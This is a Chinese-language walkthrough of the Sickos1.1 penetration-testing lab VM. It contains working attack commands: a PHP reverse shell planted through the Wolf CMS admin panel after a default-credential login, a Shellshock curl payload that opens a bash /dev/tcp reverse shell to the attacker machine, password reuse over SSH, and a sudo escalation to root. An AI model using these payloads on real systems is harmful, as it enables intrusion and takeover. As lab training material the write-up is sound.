Sickos1.1是一个经典的渗透测试靶机,主要用于练习Web应用安全测试技能。这个靶机包含了多个常见漏洞点,特别适合初学者系统性地学习渗透测试方法论。我在实际测试过程中发现,这台靶机主要暴露了三个关键漏洞面:弱口令管理、CMS后台文件上传漏洞以及Shellshock远程代码执行漏洞。
渗透测试的本质是模拟黑客攻击来发现系统弱点。与真实攻击不同,我们的目标是找出所有可能的入侵路径,而不是单纯获取系统权限。在Sickos1.1的测试中,我采用了标准的PTES(渗透测试执行标准)流程:从信息收集开始,逐步深入漏洞利用,最后完成权限提升。这种系统性的方法在实际工作中同样适用,无论是红队演练还是安全评估。
首先需要确保攻击机(Kali Linux)和靶机处于同一网络环境。我使用的是VirtualBox的NAT网络模式,这种模式下虚拟机之间可以互通,同时与宿主机隔离。通过ifconfig命令确认Kali的IP地址为192.168.253.166:
bash复制ifconfig eth0 | grep "inet "
接下来扫描整个网段寻找靶机。这里推荐使用nmap的快速扫描模式,它通过发送ARP请求来识别存活主机,速度极快且准确:
bash复制nmap -sn 192.168.253.0/24
注意:在实际企业内网测试时,应事先获得书面授权,并避免使用过于激进的扫描参数,否则可能触发安全设备的告警。
扫描结果显示靶机IP为192.168.253.167。进一步的全端口扫描揭示了两个关键服务:
由于80端口未开放,我们需要通过代理访问Web服务。Firefox的代理设置路径为:菜单 → 设置 → 网络设置 → 手动代理配置。填入靶机IP和3128端口后,访问http://192.168.253.167显示简单页面"BLEHHH!!!"。
使用dirsearch进行目录扫描时,必须指定代理参数,否则请求无法到达靶机:
bash复制dirsearch -u http://192.168.253.167 --proxy http://192.168.253.167:3128
扫描结果中,/wolfcms和/robots.txt最为关键。robots.txt显示/wolfcms被禁止爬取,这反而提示我们这是一个重要目录。访问/wolfcms发现这是一个Wolf CMS的管理界面,版本显示为0.8.3.1(该版本存在多个已知漏洞)。
尝试访问/wolfcms/?admin进入后台登录页面。根据经验,老旧CMS系统常使用默认凭证,尝试admin/admin组合成功登录。这种弱口令问题在实际中极为常见,特别是测试内部系统时。
进入后台后,在"Pages"模块可以编辑文章内容。我们插入PHP反弹shell代码:
php复制<?php system("/bin/bash -c 'bash -i >& /dev/tcp/192.168.253.166/1234 0>&1'"); ?>
安全提示:反弹shell的IP和端口需要根据实际环境调整。在真实测试中,建议使用加密的reverse shell(如mkfifo+openssl)避免流量被拦截。
保存后,在Kali上启动监听:
bash复制nc -lnvp 1234
重新访问/wolfcms页面触发代码执行,成功获得www-data权限的shell。此时应立即升级为完全交互式shell:
bash复制python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
通过nikto扫描发现/cgi-bin/status存在Shellshock漏洞(CVE-2014-6271)。这个漏洞允许通过HTTP头注入任意命令。验证漏洞存在:
bash复制curl -H "User-Agent: () { :; }; echo; echo vulnerable" \
--proxy http://192.168.253.167:3128 \
http://192.168.253.167/cgi-bin/status
确认漏洞后,构造反弹shell:
bash复制curl -H "User-Agent: () { :; }; /bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.253.166/1234 0>&1'" \
--proxy http://192.168.253.167:3128 \
http://192.168.253.167/cgi-bin/status
同样会获得www-data权限的shell。相比CMS漏洞,Shellshock的利用更直接,但需要目标系统存在特定的CGI脚本。
在CMS目录下找到config.php文件,包含数据库连接信息:
php复制define('DB_DSN', 'mysql:dbname=wolf;host=localhost;port=3306');
define('DB_USER', 'root');
define('DB_PASS', 'john@123');
检查/etc/passwd发现存在sickos用户,尝试密码复用:
bash复制ssh sickos@192.168.253.167
# 密码输入john@123
渗透技巧:密码复用是提权的常见手段。建议收集所有找到的密码,制作专属字典用于后续爆破。
登录sickos账户后,检查sudo权限:
bash复制sudo -l
结果显示可以无密码执行所有sudo命令,这是严重的配置错误。直接获取root shell:
bash复制sudo /bin/bash
在真实环境中,管理员应遵循最小权限原则,严格控制sudoers文件配置。作为防御方,建议定期审计sudo权限:
bash复制grep -v '^#\|^$' /etc/sudoers
在root目录发现flag文件:
bash复制cat /root/a0216ea4d51874464078c618298b1367.txt
CMS系统加固:
Shellshock防护:
SSH安全:
网络隔离:
权限控制:
日志监控:
通过Sickos1.1靶机,我们可以提炼出一个基本的Web渗透流程:
信息收集:
漏洞探测:
漏洞利用:
权限提升:
后渗透:
在实际测试中,每个阶段都应详细记录操作和结果。这不仅有助于编写最终报告,也能在复杂环境中保持清晰的测试思路。